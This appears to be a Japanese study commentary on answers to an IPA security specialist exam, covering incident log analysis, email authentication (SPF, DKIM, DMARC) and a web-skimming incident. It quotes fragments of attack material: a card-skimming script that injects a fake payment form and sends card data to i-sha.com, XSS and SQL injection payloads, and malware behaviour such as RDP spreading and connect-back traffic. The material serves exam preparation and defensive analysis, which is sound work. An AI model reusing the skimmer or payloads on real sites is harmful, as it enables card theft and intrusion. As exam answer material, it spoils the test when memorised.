令和6年度 秋期 午後

本文の根拠

表3 PC-A の time.csv

12/04 23:32:51 PC-A から PC-C に

表3 PC-A の time.csv

RDP 接続が許可された。auth.csv

図4 q.ps1 の動作 (h)

(h) ping コマンドを使ってホストを探索し，RDP 接続を試みる。RDP 接続に失敗した場合，何もしない。

図4 q.ps1 の動作 (i)

(i) RDP 接続に成功すると，接続先で i.ps1 の実行を試みる。

図4の(h)(i)のとおり，マルウェアは ping でホストを探して RDP 接続を試み，成功した接続先でだけ i.ps1 の実行を試みる。したがって感染が広がった可能性があるのは，PC-A からの RDP 接続が成功したホストである。

表3で PC-A が RDP 接続を試みた先は，ドメインサーバと PC-B から PC-G までである。このうち“RDP 接続が許可された”のは 23:32:51 の PC-C だけで，ほかは ad01\user019 でも .\administrator でもすべて“失敗した”と記録されている。よって a は PC-C である。

間違えやすい点。a は PC-A 自身の調査対象ではなく，PC-A から感染が拡大した可能性のある先を問うている。失敗した PC-B，PC-D〜PC-G は，マルウェアの実行まで至っていない。

本文の根拠

表3 PC-A の time.csv

12/04 22:42:06 \\filesv のファイルが参照された。

表1 ファイルサーバ

ホスト名は filesv である。

表1 ファイルサーバ

社外秘情報 L は，仮想 PC には保管せず，ファイルサーバに保管するルールにしている。

図4 q.ps1 の動作 (d)

(d) 特定のディスク領域とネットワークドライブのファイルを RAR 形式でアーカイブファイルにまとめ

本文は“PC-A 及び a 上のファイルのほか，b 上のファイルのうち，アカウント c でアクセス可能なファイルが送信されているおそれがある”と述べる。PC-A のほかにファイルが取られる先として図4(d)は“ネットワークドライブのファイル”を挙げており，表3では 22:42:06 に PC-A から“\\filesv のファイルが参照された”ことが記録されている。表1によれば filesv はファイルサーバのホスト名である。

つまり b はファイルサーバの filesv である。仮想 PC には社外秘情報 L を置かないルールなので，ネットワーク経由で取られるまとまった情報はファイルサーバに集まっている。

間違えやすい点。ドメインサーバ（ad01 を管理する側）も表3に出てくるが，これは RDP 接続を試みて失敗した相手であり，ファイルを参照された記録は無い。

本文の根拠

表3 注記 1

アカウント名の表記は domainhost\userNNN としている。

表5 プロキシサービスの通信ログ

利用者 ID はいずれも ad01\user019

表1 ファイルサーバ

利用時はドメインサーバでの認証が必要である。

表1 ドメインサーバ

ログオンは，ドメインユーザーの利用者 ID とパスワードで行う。

ファイルサーバは“ドメインサーバでの認証が必要”で，ログオンはドメインユーザーの利用者 ID とパスワードで行う。PC-A を使っていた従業員のドメインユーザーは，表5のプロキシ通信ログや表3の RDP 接続の記録に出てくる ad01\user019 である。マルウェアは図4(g)でパスワードまたはパスワードハッシュをメモリ上から窃取するが、ファイルサーバに対してはこのアカウントでアクセスできる。

表3の注記 1 は“domainhost\userNNN”の形と決めている。ドメイン名は ad01（表1），利用者 ID は user019 なので，c は ad01\user019 と書く。

間違えやすい点。表3には .\administrator も出てくるが、これは仮想 PC のローカルユーザー（domainhost が“.”）であり、ドメインサーバで認証するファイルサーバにはアクセスできない。また domainhost 部分を省いて user019 だけにすると、注記 1 の表記に従ったことにならない。

採点講評（IPA）

設問１(3)は，正答率が高かった。被害の可能性を複数のログから適切に読み取ることができていた。

本文の根拠

図3 暫定対策 1

マルウェア感染拡大とこれ以上のファイルの送信を防ぐために，ドメインサーバでアカウント c の d を行う。

表1 プロキシサービス

Q プログラムがドメインサーバに接続され，ドメインユーザーが認証されると，利用可能になる。

図4 i.ps1 の動作 (a)

実行時に使うアカウント：タスク登録時に，ログオンしているアカウント

暫定対策 1 は，ドメインサーバ上でアカウント ad01\user019 に対して行う措置で，感染拡大とファイル送信を止めるものである。プロキシサービスは“ドメインユーザーが認証されると利用可能”になり，ファイルサーバも“ドメインサーバでの認証が必要”なので，このアカウントを使えなくすれば，インターネットへの通信（表5の送信）もファイルサーバへのアクセスも止まる。また図4(a)のタスク install は，登録時にログオンしていたアカウントで動くので，そのアカウントを無効にすればタスクの実行も妨げられる。

したがって d は“無効化”（アカウントの無効化）である。

字数は 10 字以内。“アカウントの無効化”では d の前の“の”と重なるので，“無効化”だけを書けば足りる。パスワードの変更は，パスワードハッシュを窃取されている場合（図4(g)）にはハッシュを使った認証が成り立つ余地があり，確実な止め方としては弱い。

本文の根拠

表1 プロキシサービス

管理者拒否リスト：管理者が設定できる。アクセスが拒否される URL のリストである。“全て”と記載すると，全ての URL へのアクセスが拒否される。

図4 q.ps1 の動作 (d)

https://△△△.com/v/upl を使ってアップロードする。

図4 q.ps1 の動作 (e)(f)

(e) 1 時間おきに https://○○○.com/にコネクトバック通信をする。

図4 q.ps1 の動作 (f)

https://□□□.com/にコネクトバック通信をし

表1 プロキシサービス

URL フィルタリング機能では，ドメインユーザーごとに指定された URL へのアクセスを許可又は拒否することができる。

ファイルの送信を防ぐ対策は，プロキシサービスの URL フィルタリングで，攻撃者が使う URL への通信を拒否することである。拒否の設定は管理者拒否リストに書く。送信先は図4から読み取れる。ファイルの送信は https://△△△.com/v/upl（(d)），コマンド受信用のコネクトバックは https://○○○.com/（(e)）で，それが通じないとき https://□□□.com/（(f)）に切り替わる。三つとも拒否しないと，ほかの経路から指示を受けたり，ファイルを送ったりできてしまう。

URL フィルタリングはドメインユーザーごとに指定でき，マルウェアが ad01\user019 以外のアカウントで動く可能性もあるので，対象は“全てのドメインユーザー”にする。ベンダー拒否リストは E 社から提供されるので，管理者が自分で追加できる管理者拒否リストを使う。

書き方の注意。URL を一つだけ，または ○○○ だけを書く答えは，(f) のリトライ先 □□□ や，ファイル送信先の △△△ を取りこぼす。“どのリストに”“誰に対して”“どの URL を”の三点をそろえる。

本文の根拠

表1 プロキシサービス

管理用の Web ページから，各種設定の変更と通信ログの確認ができる。

図4 q.ps1 の動作 (e)(f)

(e) 1 時間おきに https://○○○.com/にコネクトバック通信をする。

図4 q.ps1 の動作 (f)

以降は，1 時間おきに https://□□□.com/にコネクトバック通信をする。

図3 追加調査 2

2 プロキシサービスのログで，PC-A，a のほかに

追加調査 2 は，プロキシサービスの通信ログを調べて，PC-A と PC-C のほかに感染している L 社内ホストがないかを確かめるものである。感染したホストは，図4(e)(f)のとおり 1 時間おきに ○○○（失敗したときは □□□）へコネクトバック通信をするので，その通信ログが残る。ファイルの持出しの送信先 △△△ も同様である。

したがって，プロキシサービスの通信ログの中から，https://○○○.com/，https://△△△.com/，https://□□□.com/ に通信した L 社内ホストがないか調査する，と書く。

間違えやすい点。感染済みの PC-A や PC-C 以外のホストを探す調査なので，宛先で絞り込む。ホスト名や利用者 ID から探そうとしても手掛かりが無い。三つの URL のうち一つだけでは，e の失敗後に □□□ に切り替わっているホストなどを見落とす。

本文の根拠

図4 i.ps1 の動作 (a)

タスク名：install

図4 i.ps1 の動作 (a)

タスク実行のトリガー：ログオン時に実行される。

本文 〔暫定対策と追加調査の実施〕

Y さんは図4の解析結果から，図3の追加調査の 1 及び 2 では，図4で解析したマルウェアが，今後，活動する可能性がある L 社内ホストを見逃したおそれがあると考えた。

表2 F ツールの出力ファイル

srv.csv：サービス及びタスク 1) の登録，削除，開始及び停止のログ。

追加調査 1 と 2 は，RDP 接続の成否と，プロキシ経由の通信ログという“動いた記録”を手掛かりにした調査である。ところが図4によれば，i.ps1 は“タスク名：install”のタスクを登録し，これはログオン時に実行される。感染していても，まだログオンされていないホストや，通信がまだ出ていないホストは，1 と 2 では見つからない。

そこで L 社内ホスト全てで，タスク名が install のタスクが登録されていないかを調べる。表2の srv.csv にあるとおり，F ツールはサービスやタスクの登録を記録できるので，PC-A でそうしたように，各ホストで F ツールを実行して確かめられる。

書き方の注意。“タスク名が install であるタスクが登録されている”まで書く。“マルウェアを調査する”だけでは，何を手掛かりにするのかが答えになっていない。

本文の根拠

図4 q.ps1 の動作 (c)

(c) マルウェア対策ソフトを停止する。

表1 マルウェア対策サービス

管理用の Web ページから，各種設定の変更，マルウェア定義ファイルの適用状況の確認，マルウェア対策ソフトの稼働状況の確認及びマルウェア検知のログの確認ができる。

図4 q.ps1 の動作 (h)

(h) ping コマンドを使ってホストを探索し，RDP 接続を試みる。RDP 接続に失敗した場合，何もしない。

表3 PC-A の time.csv

12/04 23:36:02 PC-A から PC-F に

図4のマルウェアの活動のうち，ログで見分けられるものを選ぶ。(c)“マルウェア対策ソフトを停止する”は，マルウェア対策サービスの管理用 Web ページで“マルウェア対策ソフトの稼働状況の確認”ができるので，停止した L 社内ホストを検出できる。表3でも 22:34:28 に VSCAN_SVC が停止されている。(h)“ping で探索して RDP 接続を試み，失敗したら何もしない”は，表3のように短時間に多数のホストへ RDP 接続の失敗が連続する形でドメインサーバや各ホストの認証ログに残るので，RDP 接続を繰り返している L 社内ホストを検出できる。

解答例は二つで，マルウェア対策サービスのログからの検出と，ドメインサーバのログからの検出である。備考にあるとおり順不同。

書き方の注意。“どのログを見るか”まで書く。講評も“どのログを確認するかの記述がない解答が多かった”と指摘している。“怪しい通信を検知する”のように，対象のログが分からない書き方は不十分である。

採点講評（IPA）

設問１(8)は，正答率が平均的であった。どのログを確認するかの記述がない解答が多かった。マルウェアの動作によって，どのログに何が記録されているかを考え，検知の仕組みを設計できる能力を培ってほしい。

本文の根拠

表6

PC-A からマルウェア感染を広げた。：e。

表6

q.ps1 がファイルを不正に持ち出した。：f。

表1 仮想 PC

従業員がシンクライアント PC から RDP で接続して利用する。

表3 PC-A の time.csv

12/04 23:32:51 PC-A から PC-C に

表4 PC-A の net2.csv

12/04 23:05:40 C:\（省略）\powershell.exe 810.0

e は，PC-A から PC-C へ RDP 接続でマルウェアが広がったことへの対策である。表1によれば，仮想 PC には従業員がシンクライアント PC から RDP で接続して使うので，仮想 PC 同士の RDP 接続は業務上要らない。そこで仮想 PC への RDP 接続を，IP アドレスによる接続元制限で，シンクライアント PC などの許可した接続元だけに限れば，PC-A からの接続は失敗する。

f は，q.ps1 によるファイルの持出しへの対策である。表4では powershell.exe が 810 M バイトを送受信し，表5では upl への送信が 511 M バイトに上っている。社外秘情報 L を守る技術的対策としては，DLP（情報漏えい対策）を導入し，ファイルの持出しを制限する方法が挙がる。

間違えやすい点。講評が指摘するとおり，ファイルサーバのアクセス権を最小限にするだけでは，マルウェアは特別な権限なしにファイルを持ち出しているので，防止できない。e は“どこからの接続を許すか”，f は“持出しそのものを検知・制限する”ことを書く。

採点講評（IPA）

設問2ｆは，正答率がやや低かった。ファイルサーバのアクセス権を最小限にするといった解答が散見されたが，マルウェアは，特別な権限なしにファイルを持ち出している。ファイルの持出しに対する技術的対策は複数考えられるが，インシデントで起きたファイルの持出しを防止できる対策を選択してほしい。

本文の根拠

表1 メールサーバ

宛先メールアドレスのドメイン名が a であるメールをメールボックスに格納する。

表2

項番1：転送元 インターネット，宛先メールアドレスのドメイン名 a，転送処理 許可。

〔情報システムの現状〕

A 社の Web サイト（以下，A-Web サイトという）及びメールアドレスのドメイン名として利用している。

メールサーバはインターネットからメールを受け取り，宛先のドメイン名が自社のものであるメールだけをメールボックスに格納する。A 社のメールアドレスのドメイン名は A 社ドメイン名（a-sha.co.jp）なので，表1の a には“A 社ドメイン名”が入る。

表2の項番1 は，インターネットからメールサーバに来たメールの宛先が a のときだけ転送（格納）を許可するルールである。表1と表2の a は同じ字句で，どちらも A 社ドメイン名と読める。インターネットからのメールで受け取ってよいのは A 社宛てだけで，A 社宛てでないものは項番4で拒否される（第三者中継の防止）。

間違えやすい点。a は“全て”ではない。“全て”にすると，インターネット上の誰からでも，どこ宛てのメールでも中継してしまう。

本文の根拠

表1 メールサーバ

PC-LAN 及び業務サーバから SMTP を用いて送信されるメールを受信する。

表1 メールサーバ

インターネットとの間で，SMTP を用いてメールを転送する。

表2

項番2：転送元 PC-LAN，宛先メールアドレスのドメイン名 b，転送処理 許可。

表2

項番3：転送元 業務サーバ，宛先メールアドレスのドメイン名 A 社ドメイン名，転送処理 許可。

表2

注記 項番が小さいルールから順に，最初に一致したルールが適用される。

第三者中継とは，メールサーバが部外者のメールを他のドメイン宛てに中継してしまうことである。表2は，転送元ごとに宛先を絞って防いでいる。インターネットからは A 社宛てだけ（項番1），業務サーバからも A 社宛てだけ（項番3）を許し，それ以外の項番4は全て拒否する。

PC-LAN の PC は従業員が業務で使い，顧客との見積書や注文書のやり取りなど，社外のメールアドレスにも送る（本文の冒頭）。表1のとおりメールサーバは PC-LAN から SMTP で受信し，社外宛てはインターネットへ転送する。社外宛てを許すには項番2の宛先を“全て”にする必要がある。項番2が項番4より小さい番号で先に適用されるので，“全て”としても PC-LAN 以外からの中継は項番4で拒否される。

間違えやすい点。b を“A 社ドメイン名”にすると業務サーバと同じ制限になり，従業員が顧客にメールを送れなくなる。

本文の根拠

表5 U サービス メール転送

インターネットとの間は，SMTP を TLS で暗号化する c を使用してメールを転送することができる。

表1 メールサーバ

インターネットとの間で，SMTP を用いてメールを転送する。

表5の c は“SMTP を TLS で暗号化する”方式で，英字 10 字以内で答える。SMTP を TLS で包んでサーバ間の通信を暗号化する方式を一般に SMTPS と呼ぶ。接続の最初から TLS を使う方式のほか，平文で始めて STARTTLS で TLS に切り替える方式もあるが，どちらもメール転送の通信経路を暗号化するものである。

したがって c は SMTPS である。SMTP のやり取り全体（宛先の指定や本文の転送）が暗号化される。

間違えやすい点。講評にあるとおり“S/MIME”と答える誤りが散見された。S/MIME は MIME の仕組みを使ったメール本文及び添付ファイルの暗号化（署名）の方式であり，SMTP の通信を暗号化するものではない。字数は 6 字で，10 字以内に収まる。

採点講評（IPA）

設問2は，正答率が平均的であった。“S/MIME”といった解答が散見された。“S/MIME”は，MIMEの仕組みを使ったメール本文及び添付ファイルの暗号化の方式であって，SMTPを暗号化する方式ではない。メールに関連する暗号技術及び通信プロトコルについて，よく理解してほしい。

本文の根拠

〔送信対応の設定内容についての検討〕

表6から，①DKIM レコードの名称として使用する FQDN が決まる。

表6

d：z-sha.co.jp。h：From:To:Subject:Date:Message-ID:MIME-Version。s：z2024。

表6

a：rsa-sha256。

DKIM では，署名を検証する側が，署名ヘッダー（DKIM-Signature）の s タグ（セレクタ）と d タグ（署名ドメイン）から“s タグの値._domainkey.d タグの値”という名前の TXT レコードを引いて，公開鍵を取得する（RFC 6376）。表6では s が z2024，d が z-sha.co.jp なので，DKIM レコードの FQDN は z2024._domainkey.z-sha.co.jp である。選択肢ではエになる。

ほかの選択肢は，どこかを取り違えている。ア・イの先頭 rsa-sha256 は a タグ（署名アルゴリズム）の値で，名前には使わない。ア・ウの“_dkim”は，DKIM の規定にない文字列である（固定の文字列は“_domainkey”）。オは“_domainkey”が無く，DKIM レコードの名前の形になっていない。

この設問は講評でも正答率が低かったとされ，“DKIM の仕組みと表6のタグの内容を用いれば導ける”と指摘されている。タグの意味（d：ドメイン，s：セレクタ，a：アルゴリズム，h：署名対象ヘッダー）を覚えておくと迷わない。

採点講評（IPA）

設問3(1)は，正答率が低かった。DKIMの仕組み及び表6のタグの内容を用いれば，正答を導くことができる。DKIMの仕組みについて，よく理解してほしい。

本文の根拠

図3 Mail-Step1

送信対応では，DMARC ポリシーを，特定のアクションを要求しないこととし，メールを受信してもらう。

図4

v=DMARC1; p=d; rua=mailto:[email protected]

表3 項番2

Z 社ドメイン名のメールを受信した側で SPF による認証及び DKIM による認証に失敗した場合のアクションを DMARC ポリシーとして定義する。

DMARC レコードの p タグは，SPF・DKIM の認証に失敗したメールを受信側にどう扱ってほしいかを示すポリシーで，値は none（何も要求しない），quarantine（隔離），reject（拒否）の三つである（RFC 7489）。Mail-Step1 は試行期間なので，“特定のアクションを要求しないこととし，メールを受信してもらう”とある。これは none に当たり，rua で集計レポートだけを受け取り，送信対応に問題がないかを確かめる段階である。

図3の Mail-Step3 で“隔離（quarantine）に変更し，その 6 か月後，拒否（reject）に変更する”と，ポリシーを段階的に強めていくので，Mail-Step1 の d は最も弱い none になる。

間違えやすい点。accept と receive は p タグの値として規定されていない。“メールを受信してもらう”に引きずられて accept・receive を選ばないこと。

本文の根拠

表7 Web の悪用

コンテンツを細工して Web サイトの見た目を変えずに②顧客に影響を及ぼす攻撃をすることが考えられる。

本文 冒頭

顧客向けに自社製の工作機械管理用アプリケーションプログラムとそのソフトウェア修正プログラムを提供している。

A-Web サイトは顧客向けに，自社製の工作機械管理用アプリケーションプログラムとそのソフトウェア修正プログラムを提供している。第三者が A 社ドメイン名を取得して見た目が同じサイトを立ち上げ，“コンテンツを細工”できるなら，顧客がダウンロードする修正プログラムの配布ファイルをマルウェアに差し替えることができる。

顧客は A 社の正規のドメイン名のサイトと信じて取得するので，不審に思わず実行しやすい。したがって，ソフトウェア修正プログラムに見せかけたマルウェアをダウンロードさせる，と答える。

書き方の注意。“顧客に影響を及ぼす”攻撃の方法を問うているので，“偽サイトを立ち上げる”だけでは表7の前半の繰り返しになる。何を細工して何を起こすか（修正プログラム→マルウェアのダウンロード）まで書く。

本文の根拠

表7 メールの受信

従業員が業務で用いる社外サービスがあり，メールでの連絡先として，A 社ドメイン名のメールアドレスを登録していたとする。

表7 メールの受信

③第三者が，社外サービスから A 社ドメイン名のメールアドレスへのメールを受信し，そのメールを使って続きの攻撃を行うという悪用が考えられる。

契約を解約して第三者が A 社ドメイン名を取得すると，その第三者はメールサーバを立ち上げ，A 社ドメイン名宛てのメールを受け取れる。従業員が業務で使う社外サービスに，連絡先として A 社ドメイン名のメールアドレスが登録されたままだと，そのサービスからのメールは第三者に届く。

受信するメールの内容として挙がるのは，社外サービスのパスワード再設定画面の URL が書かれたメールである。第三者はその URL から任意のパスワードを設定し，アカウントを乗っ取る，というのが続きの攻撃の例になる。ほかにも，ID の通知やワンタイムコードが書かれたメールが想定されるが，解答例の形に合わせれば“受信するメールの内容”と“続きの攻撃”の対になっている。

書き方の注意。答えは“メール”と“攻撃”の二つの欄に分かれる。メールの種類だけ，または攻撃だけでは足りない。

本文の根拠

〔A 社ドメイン名の契約についての検討〕

DMARC の受信対応を行った組織が A 社ドメイン名からのメールを拒否できるようにする。

〔A 社ドメイン名の契約についての検討〕

DKIM レコードは設定しない。

表4 項番3

SPF による認証及び DKIM による認証を行いそのいずれかが成功した場合，DMARC の認証が成功したものと判断し，受信する。

A 社ドメイン名はこの後メールを送らないので，A 社ドメイン名を名乗るメールは全て偽物である。受信側は表4の項番3 のとおり，SPF と DKIM のどちらかが成功すれば DMARC の認証成功とし，どちらも失敗すれば，送信元の DMARC ポリシー（項番4）に従って隔離や拒否をする。DKIM レコードは設定しないので DKIM は必ず失敗するから，SPF も必ず失敗するようにすればよい。

SPF レコードの“v=spf1”に続けて“-all”と書くと，どの送信元 IP アドレスも許可しない（-all は fail）という意味になる。これで，A 社ドメイン名からのメールは SPF にも DKIM にも失敗し，DMARC で拒否できる。ア（-all）が正しい。

間違えやすい点。イの“?all”は neutral（判定しない）で，何も許可しないことにならない。ウの block，エの deny，オの refuse は SPF の記法にない。

本文の根拠

表3 項番3

DMARC ポリシーレコード（以下，DMARC レコードという），SPF レコード及び DKIM キーレコード（以下，DKIM レコードという）を S サービスに登録する。

図6

一斉配信には，T 社のサービス（以下，T サービスという）を利用する計画であり

図6

他のヘッダーは，T サービスが設定する。

図3 Mail-Step3

Mail-Step3：送信対応の DMARC ポリシーを隔離に変更し，その 6 か月後，拒否に変更する。

Mail-Step3 以降は，Z 社ドメイン名のメールが SPF・DKIM に失敗すると隔離・拒否されるので，メールが届かないことが起こりうる。図6の一斉配信は T サービスを使って送るが，送信元の IP アドレスは T サービスのものである。ところが Z 社が S サービスに登録した SPF レコードは，表3の項番3 のとおり U サービスから提供された情報で作ったもので，T サービスの送信元 IP アドレスは含まれていない。DKIM 署名を T サービスが付けるとは図6から読み取れないので，頼れるのは SPF であり，T サービスからのメールは SPF の認証に失敗して届かない場合がある。

そこで，表3の項番3 で S サービスに登録した SPF レコードに，T サービスのメール送信元 IP アドレスを追加する。

書き方の注意。“表3の項番3 の登録内容”の見直しなので，登録先（SPF レコード）と追加するもの（T サービスのメール送信元 IP アドレス）の両方を書く。DMARC ポリシーを緩めるといった答えは，設問の趣旨（認証が通るようにする）と合わない。

本文の根拠

図7 6.(3)

(3) エンベロープ From の設定：・メーリングリストの管理者のメールアドレスを設定する。

図7 6.(5)

Subject 設定 2：メーリングリスト宛てに送信されたメールの Subject にメールの通番情報を付加する。

図7 6.(7)

(7) ヘッダー From，Subject 及び Reply-To 以外のヘッダー：・メーリングリスト宛てに送信したメールのヘッダーを引き継ぐ。

表6

h：From:To:Subject:Date:Message-ID:MIME-Version。

図8

ヘッダー From 設定 1 と Subject 設定 2 の組合せでは，⑤SPF による認証及び DKIM による認証の両方に失敗することによって不達の問題が発生することがある。

SPF は，メールを送ってきたサーバの IP アドレスが，エンベロープ From のドメインの SPF レコードに登録されているかを調べる。メーリングリストでは Y サービスのサーバがメールを送り直し，エンベロープ From には管理者のメールアドレス（Z 社ドメイン）を設定する（図7 6.(3)）。Z 社ドメインの SPF レコードには Y サービスの情報が登録されていないので，Y サービスから送られると SPF に失敗する。Subject は SPF の判定対象ではなく，Subject の設定とは関係しない。

DKIM は，署名したヘッダーの値が変わっていないことを検証する。表6のとおり h タグには Subject が含まれる。Subject 設定 2 では Y サービスが Subject に通番情報を付加するので，署名時の Subject と一致せず，DKIM に失敗する。ヘッダー From 設定 1 では From が元の送信者のままなので，DMARC の判定ドメインは Z 社ドメインのまま，SPF・DKIM の両方に失敗し，ポリシーに従って不達になりうる。

書き方の注意。SPF 側は“SPF レコードに Y サービスの情報が無いのに Y サービスから送られる”，DKIM 側は“h タグに含まれる Subject が Y サービスで変わる”と，それぞれ理由を一文で書く。SPF の理由に Subject の変更を書いても外れる（講評参照）。

採点講評（IPA）

設問5(2)SPFは，正答率がやや低かった。メールのSubjectに通番情報を付加するといった解答が散見された。SPFでは，Subjectを判定対象としていない。SPFの仕組みについて，よく理解してほしい。

設問5(2)DKIMは，正答率が平均的であった。表6のhタグにおいて，Subjectを判定対象として含んでいる。メールのSubjectに通番情報を付加すると，DKIMによる認証が失敗する。DKIMの仕組みと，メーリングリストの設定を理解した上で，解答してほしい。

本文の根拠

表2 行番号5

5 GET /cart?add="><script>document.getElementById(… 200

表2 行番号2

2 GET /login?id=hoge&pw=' UNION select 1 FROM… 200

R さんと G さんの会話

G さん：表2の a 行目が b 脆弱性を狙った攻撃だと思いますが，そういった攻撃であれば偽フォームの表示が可能です。さらに b 脆弱性が c 型であれば，1 回の攻撃で多数の利用者に対して偽フォームの表示が可能です。

R さんと G さんの会話

G さん：Web アプリ P が，DB サーバに格納している情報を基に Web ページを動的に生成していれば可能かもしれません。

a・b は，偽フォーム（クレジットカード情報の入力欄）を画面に差し込める攻撃である。表2の 5 行目は cart の add パラメータに“"><script>document.getElementById(…”が入っており，属性値を閉じて script 要素を差し込む形なので，クロスサイトスクリプティング（XSS）脆弱性を狙った攻撃である。スクリプトで画面の DOM を書き換えれば偽フォームを表示できる。さらに，攻撃用の文字列が Web アプリ P の DB サーバに保存され，ページを開いた利用者全員の画面に出力される格納型なら，1 回の攻撃で多数の利用者に偽フォームを見せられる。反射型は利用者ごとに細工した URL を踏ませる必要があり，1 回の攻撃では済まない。

d・e は，2 行目の pw に“' UNION select 1 FROM…”が付いたログインの要求で，SQL の文に別の SELECT をつなげて DB の値を取り出す SQL インジェクションである。成功すれば DB の値を差し込んだページが生成されうるため，G さんの言うとおり，ページを DB の情報から動的に生成していれば，偽フォームの表示ができるかもしれない。

間違えやすい点。6 行目の“green's sofa”も単一引用符を含むが，値を取り出すための UNION select まで読み取れるのは 2 行目である。XSS の三種類（反射型，格納型，DOM ベース）の違いを区別して答える。講評にも，c の正答率がやや低かったとある。

採点講評（IPA）

設問１cは，正答率がやや低かった。クロスサイトスクリプティング（XSS）脆弱性は反射型，格納型，DOMベースの3種類あるが，ログから攻撃を分析するためにもそれらの違いを理解してほしい。

本文の根拠

図2 2〜3行目

let elem = document.querySelector("#shopping-form > div > div > div.order_payment > div.radio");

図2 3行目

elem.innerHTML='<p>カード番号<input type="text" id="get_number" /></p>

図3

<div class="order_payment">。<div><h2>お支払方法</h2></div>。<div class="radio">。<input type="radio" id="Payment_1" name="order[Payment]" required data-trigger="change" value="1" checked />

図3

<button type="submit" class="blockBtn">次へ</button>

図1 /shopping

/shopping（配送先・支払方法選択）：配送先のプルダウン，お支払方法（クレジットカード決済が選択済み，銀行振込），“戻る”“次へ”ボタン。

ファイル K の 2 行目は，form#shopping-form の下の div.order_payment の中の div.radio（図3では二つのラジオボタンとラベルを入れた div）を取得し，3 行目でその中身を innerHTML で入れ替える。入れ替え後の中身は，カード番号・有効期限（月／年）・名義・セキュリティコードの入力欄と，value=1 の hidden 項目である。

書換え後の画面は，見出し“配送先・支払方法選択”，“配送先”のプルダウン，“お支払方法”の見出し（div.radio の外にあるので残る）の下に，クレジットカード情報の四つの入力欄が並び，その下に“戻る”“次へ”ボタンがある画面になる。ラジオボタン（クレジットカード決済・銀行振込）は消える。図示するときは，入力欄の並び（カード番号，有効期限は“月／年”の二つ，名義，セキュリティコード）と，ボタンを省かない。

間違えやすい点。講評のとおり，書換え対象のラジオボタンの選択肢を残したり，書き換えられていない配送先や見出しまで消したりする過不足の解答が多かった。書換えの範囲は div.radio の中だけである。

採点講評（IPA）

設問2(1)は，正答率がやや低かった。書換え対象のラジオボタンの選択肢が残っていたり，余計な改ざんがされていたりといった改ざん内容に過不足のある解答が散見された。HTML，DOMの仕組みを利用した画面の書換えは攻撃で悪用される可能性があるので，よく理解してほしい。

本文の根拠

図2 3行目

<input type="hidden" name="order[Payment]" value="1" />';

図3

<input type="radio" id="Payment_1" name="order[Payment]" required data-trigger="change" value="1" checked />

図3

<label for="Payment_1"><span>クレジットカード決済</span></label>

本文 〔偽フォーム表示の原因の調査と対策〕

②配送先・支払方法選択画面から支払手続画面への画面遷移の処理で利用しているパラメータの値が変更され，支払方法がクレジットカード決済に固定されていた。

図3では，支払方法のラジオボタンの name が order[Payment]，value が 1（クレジットカード決済）と 2（銀行振込）で，フォームの送信（method="post"，action="/payment"）で選択された値が支払手続画面に渡される。ファイル K は，ラジオボタンを消したあとに type="hidden"，name="order[Payment]"，value="1" の隠し項目を差し込んでいる。

そのため利用者はどちらを選んでも order[Payment]=1 が送られ，支払方法がクレジットカード決済に固定される。利用者から“支払方法が勝手にクレジットカード決済になる”という問合せがあった理由である。

書き方の注意。答えは“パラメータ名”と“値”の二つの欄で，order[Payment] と 1 を書く。1 はクレジットカード決済を表す値で，図3の value="1" のラジオボタンのラベルが“クレジットカード決済”であることから読み取れる。

本文の根拠

図2 5行目

5: form.addEventListener('submit', function() {

図2 7〜11行目

7: let number = document.getElementById('get_number').value;

図2 12行目

let url = 'https://i-sha.com/?num=' + number + '&exp=' + exp_month + '%2F' + exp_year + '&name=' + name + '&code=' + code;

図2 13〜14行目

13: req.open("GET", url);。14: req.send();

4 行目で form#shopping-form（配送先・支払方法選択画面のフォーム）を取得し，5 行目で submit（“次へ”ボタンでの送信）のたびに実行する処理を登録している。その中身は，6 行目で XMLHttpRequest を作り，7〜11 行目で偽フォームの各入力欄（カード番号，有効期限の月と年，名義，セキュリティコード）の値を取り出し，12 行目でそれらをクエリパラメータにした URL（https://i-sha.com/?num=…&exp=…&name=…&code=…）を組み立て，13〜14 行目でその URL に GET リクエストを送る，というものである。

つまり，フォームが送信されるときに，入力されたクレジットカード情報を攻撃者のサイト i-sha.com へクエリパラメータとして送信している。フォーム自体の送信（action="/payment"）も続くので，利用者には正規の画面が続いて表示され，気付きにくい。

書き方の注意。“イベントリスナーを登録し，submit 時に”“クレジットカード情報を”“クエリパラメータとして”“i-sha.com に送信する”の四点をそろえる。

本文の根拠

図2 12〜14行目

12: let url = 'https://i-sha.com/?num=' + number + '&exp=' + exp_month + '%2F' + exp_year + '&name=' + name + '&code=' + code;

R さんと G さんの会話

R さん：ダミーのクレジットカード情報を設定して図2で GET リクエストが送られる先の URL にアクセスしたところ，404 のステータスコードが返ってきた。

R さんと G さんの会話

G さん：③利用者が改ざんされた画面に入力して，クレジットカード情報が送信されてしまったときに，攻撃者の Web サーバで Web アプリケーションプログラムを用意していなくても，攻撃者は利用者の入力したクレジットカード情報を取得する方法があります

表2 注記 3

注記 3 リクエスト URI は，URL デコード済みである。

図2では，クレジットカード情報が GET のクエリパラメータ（URL の一部）として攻撃者のサイトに送られる。Web サーバは，要求に対するアプリケーションが無く 404 を返す場合でも，受けた要求の URI をアクセスログに記録する。本問の表2も，J 社の Web サーバのアクセスログがリクエスト URI を記録している例である。

したがって攻撃者は，自分の Web サーバのアクセスログのリクエスト URI から，num・exp・name・code の値を読み取ればよく，Web アプリケーションプログラムを用意する必要が無い。404 が返ったことは盗まれていない根拠にならない。

間違えやすい点。講評によれば“通信を盗聴する”“キーロガーを仕掛ける”といった答えが散見された。通信は i-sha.com 宛てに利用者自身が送っており，攻撃者が盗聴する必要は無い。

採点講評（IPA）

設問3(1)は，正答率が平均的であった。通信を盗聴する，キーロガーを仕掛けるといった解答が散見された。クレジットカード情報がクエリパラメータとして送られ，かつWebサーバのアクセスログにリクエストURIが記録されることを理解した上で解答してほしい。

本文の根拠

〔J 社 EC サイトの構成〕

Web アプリ P のアプリケーションログには，アクセス日時，画面名，アカウント名，アクセス元 IP アドレスなどが記録される。

R さんと G さんの会話

G さん：V 社の報告から，customize.js の置換えの影響のあった期間は 6 月 11 日 13 時 12 分から 6 月 16 日 9 時 00 分と考えられます。攻撃者の Web サーバにクレジットカード情報を送信する直前までの操作をした利用者を被害者候補として特定するために，その期間のアプリケーションログから f を抽出したいと思います。

図2 1行目

1: if (location.pathname == '/shopping'){

R さんと G さんの会話

R さん：クレジットカード情報の漏えいの可能性について利用者に案内を出したい。攻撃者の Web サーバにクレジットカード情報を送信した利用者を特定してほしい。攻撃者の Web サーバに情報を送信してしまった利用者は漏れなく特定したいが，送信していない利用者はできるだけ含めたくない。
